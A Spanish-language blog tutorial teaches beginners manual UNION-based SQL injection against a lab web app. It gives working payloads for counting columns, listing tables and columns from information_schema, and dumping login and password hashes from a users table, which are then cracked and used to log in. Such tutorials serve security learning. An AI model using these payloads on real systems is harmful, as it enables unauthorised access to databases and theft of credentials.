La Receta para SQLi (para novatos)

BySin Rostro

La Receta para SQLi (para novatos)

Comparte este contenido en tus redes sociales!

Hola Hackers en esta entrada veremos una inyección SQL muy básica es para novatos (así que si ya eres un viejo lobo en estos temas tal vez te parezca un poco aburrido), veremos un poco de teoría, no mucha ya saben que casi no me gusta y un pequeño ejemplo para que quede un poco mas claro.

LOS INGREDIENTES.

  • SQL
  • INYECCIONES SQL
  • Algunos comandos y funciones

 

SQL

Structured Query Language, traducido al español como Lenguaje de Consulta Estructurado es un lenguaje de programación estándar e interactivo para obtener información desde una base de datos y para actualizarla. Dicho en una manera mas amena y entendible podemos decir que con SQL podemos interactuar con una base de datos modificarla y hasta eliminar todo su contenido. Basaremos este tutorial en MYSQL.

INYECCIONES SQL

EL SQLi es una vulnerabilidad muy antigua pero muy común, que ocurre al no hacer una correcta verificación o delimitación de los datos de entrada que van dirigidos hacia el servidor y posteriormente a la base de datos. Por ende los datos de entrada que no se verifican deben ser comandos validos de SQL. Existen 2 métodos de inyección el GET y POST.

Algunos comandos y funciones

Ahora veremos algunos comandos que nos podrán servir, no los veremos a fondo ya que no es un mini curso de SQL. Pero esta demás saber que existen muchos mas comandos y funciones que los que utilizaremos. Además también existen parámetros que se pueden aplicar a cada comando/funciones como el de DISTINCT a la función GROUP_CONCAT, en fin no nos toca eso.

  1. UNION  – se usa para combinar el resultado de un numero de comandos
  2. SELECT – se usa para seleccionar datos
  3. INSERT – se usa para agregar datos
  4. DELETE – se usa para eliminar datos
  5. UPDATE – se usa para actualizar datos existentes
  6. GROUP_CONCAT – se usa para concatenar todos los registros (no importa si no entienden bien mas adelante se apreciara mejor)
  7. ORDER BY – ordena los registros de la selección actual.
  8. Los demas que usaremos son más sencillos de entender.

Modo de preparación

Creo que este es un buen lugar para decir que Yo el autor, HACKING PUBLICO y SISTEMAS INFORMÁTICOS o algunos de sus miembros no nos hacemos responsables del uso que le puedan dar al contenido, técnicas  e información presentadas a continuación.

Bueno lo primero es tener la web en la que practicaremos, eso se los dejo a su consideración pueden usar el Laboratorio que más les convenga.

seleccion_005

Ya teniendo la web lo primero que siempre recomiendo hacer es realizar un paseo por toda ella, ya saben para saber si no tiene errores de ortografía :D. En cada pagina de la web que visito siempre me fijo en su estructuración, su URL, sus imágenes, sus enlaces, la URL de las imágenes, sus directorios. En fin es una manía mía >:D.

seleccion_006 seleccion_007 seleccion_008 seleccion_009

Cuando he acabado de dar ese pequeño paseo y he ubicado algo, la experiencia me hace poner en orden de más común a menos común los posibles errores que podré aprovechar.

Se sorprenderían donde pueden encontrar errores SQLi. Pero bueno como este es un ejemplo deliberado pues lo más común es que aparezca en la URL de la web al llamar contenido de una de sus paginas. En este caso me he topado con esa URL:

http://192.168.56.101/cat.php?id=1

seleccion_006

Y pues ya saben ¿no?, lo que nos llama la atención de esta URL es la parte ultima cat.php?id=1  y de nuevo lo más común que deben haber escuchado es “poner un comilla simple” para saber si es vulnerable a SQLi o no. El error ocurre porque el Data Base Manager System en este caso MYSQL no reconoce como comando válido la comilla (‘), igual ocurre si pones un signo de cierre de exclamación (!), así que no necesariamente debe ser la comilla en todos los casos.

seleccion_012

Bueno lo siguiente seria encontrar el numero de columnas :O

Y si tiene 350 D: Generalmente hay quien realiza las inyecciones SQL comenzando a unir y seleccionar todas las columnas con la siguiente sentencia:

+union+select+1,2,3,4,5,6,7,8,…,…,…,n,…

Pero como dije y si tiene 350 o hasta más D:!! El problema o dilema no es escribir todo eso si no encontrar las que tiene o bueno para mi no es nada divertido.

Pues lo mas conveniente es usar ORDER BY que como ya dijimos ordena los datos solo que en este caso sabremos si existe o no la columna veamos si la 350 existe.

seleccion_013

Bueno al parecer no! Eso es bueno. Probemos con algo mas pequeño… 10.

seleccion_014

El mismo resultado si intentamos con la mitad osea 5.

seleccion_015

Bueno al menos sabemos que no escribiremos mucho :D, ahora que solo nos quedan 4 columna, si que podemos escribir la sentencia antes mencionada.

+union+select+1,2,3,4

Si no llega a salir el mismo mensaje de columna desconocida, indicando la numero 4 como la desconocida tendremos que bajar la sentencia hasta el 3.

+union+select+1,2,3

seleccion_016

Perfecto., pero algo anda mal…

Al parecer no hay error SQL mmm, será que no es vulnerable y era un falso positivo mmm no creo veamos que sucede.

http://192.168.56.101/cat.php?id=1+union+select+1,2,3,4

esta es la URL que tenemos pero si nos fijamos no podemos dar cuenta que nos hace falta algo el guion(-) y los dos guiones(–)

el primer guión es como si le dijeramos a la base de datos que comenzaremos a extraer datos y los dos últimos guiones indican un comentario, que todo lo que este después de esos guiones sea ignorado.

Por lo que la sentencia quedara así:

http://192.168.56.101/cat.php?id=-1+union+select+1,2,3,4–

seleccion_017

Bien ahora si que funciono. Ese 2 probablemente sea donde basaremos nuestra inyección.

Comenzaremos extrayendo todas las tablas de la base de datos. Lo haremos con la siguiente sentencia:

-1+union+select+1,group_concat(DISTINCT(table_name)),3,4+from+information_schema.tables–

Expliquemos lo que no hemos explicado XD. +from+information_schema.tables– la consulta dice que haga la concatenación del esquema de información tablas osea que queremos todas las tablas XD. Así de sencillo para no generar confusión (les dije que lo demás comandos eran sencillos de entender).

seleccion_018

:O

Pero así no podemos entender nada… >:( acaso no me entiende las consultas…

Pues claro que las entiende pero yo no estoy siendo preciso, debo decirle que quiero entender los resultados que obtengo para saber si me son útiles o no. Para eso utilizaremos la función limit que nos ayudará a poder ver solo un rango que especificaremos en la consulta.

-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+1,1–

Aclaramos que debemos quitar el GROUP_CONCAT y dejar solo TABLE_NAME ya que ahora no queremos todas las tablas si no que solo queremos ver las que nosotros indiquemos con limit.

seleccion_019

Bien como podemos ver la columna Collations es la que hemos seleccionado con la función limit pero esa no es la que nos podría llegar a servir ya saben… buscamos la admin o la user inclusive la login, eso depende de como este nombrada en la base de datos.

Bueno en orden de más común podemos pensar que la tabla es USER o USUARIOS así que saltaremos unos cuantos números para ver si damos con ella.

-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+10,1–

Esta consulta me manda la tabla

KEY_COLUMN_USAGE

así que aumentamos el numero porque estamos en la K y vamos a la U.

-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+20,1–

Esta nos ha mostrado la tabla

SESSION_VARIABLES

estamos en la S ya estamos cerca…

-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+30,1–

BINGO!!!

seleccion_020

Aquí esta lo que buscamos. Ahora ya sabemos como se llama la tabla que nos interesa. Pasemos a lo siguiente, que será extraer el grupo de columnas que tiene esa tabla USERS.

Para ello volvemos a utilizar el GROUP_CONCAT() pero ahora no serán TABLE_NAME si no COLUMN_NAME ya que queremos las columnas. La sentencia queda así

-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=users–

Pueden darse cuenta de que cambie todas las palabras table de la anterior sentencia por column o columns según corresponda.Y que al final dice +where+table_name=users– que indica a MYSQL que queremos la información de donde el nombre de la tabla sea users.

seleccion_021

Pero que pasa dice que la columna users no es reconocida o no existe. Que sucede si ese es el nombre que nos dio.

Lo que sucede es que la base no nos entendió eso por lo mismo debemos hacerlo de manera que nos entienda la manera que intentaremos sera convertir el string USERS a caracteres ASCII con esta web que es la primera de los resultados que obtuve en google al poner String to ASCII.

Bueno el resultado que nos dio fue 117 115 101 114 115  el cual debemos parar a la sentencia de la siguiente manera

-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(117,115,101,114,115)–

Probamos y…

seleccion_022

Yes… tenemos las columnas ahora solo queda extraer los datos para terminar con esta inyección. Con la siguiente sentencia

-1+union+select+1,group_concat(login,0x2D,0x2D,password),3,4+from+users–

Pueden notar algo raro el 0x2D,0x2D esto es por pura vanidad para que la salida se vea bonita XD o entendible se trata de el codigo hexadecimal para el guion (-), para separar el login del password ahora lo veremos.

seleccion_023

Ahí están los datos solo hace falta descifrar la contraseña y probar que sean correctas las credenciales de acceso.

Tan solo basta con seleccionar el hash y darle click derecho > buscar en google y observar los resultados que nos da google.

seleccion_024

Ahora probemos si son correctas.

seleccion_025

Y son correctas, entramos y podemos concluir con esta receta y sentarnos a cenar una deliciosa WEB.

Saludos Hackers nos leemos en la siguiente no se tal ves podamos automatizar todo esto y no hacerlo manualmente.

 

Comentarios de Facebook

Post Relacionados

Consultor en Ciberseguridad, analisis de malware, BlackHat, pentester, amante de Python, Hardware, IoT y los Gadges.

About the author

Sin Rostro administrator

Consultor en Ciberseguridad, analisis de malware, BlackHat, pentester, amante de Python, Hardware, IoT y los Gadges.